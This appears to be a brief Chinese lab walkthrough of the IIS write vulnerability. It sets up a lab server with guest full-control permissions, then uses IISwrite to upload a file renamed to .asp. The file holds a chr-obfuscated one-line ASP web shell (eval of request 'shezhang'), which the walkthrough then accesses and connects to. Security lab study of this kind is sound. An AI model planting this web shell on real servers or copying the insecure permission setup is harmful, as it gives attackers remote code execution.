- 1.在客户端安装iiswrite软件，并关闭客户端防火墙
- 2.服务器安装iis，勾选以下选项
- 3.更改iis网站的主目录，将所有权限都勾选，再将网址的权限里来宾账户的权限改为完全控制
- 4.在客户机使用iiswrite对服务器所在文夹件上传一个txt文件并改后缀为asp，内容为<%eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("shezhang"))%>
- 5.客户机进行访问http://192.168.16.139/shell.asp
- 6.添加shell，运行
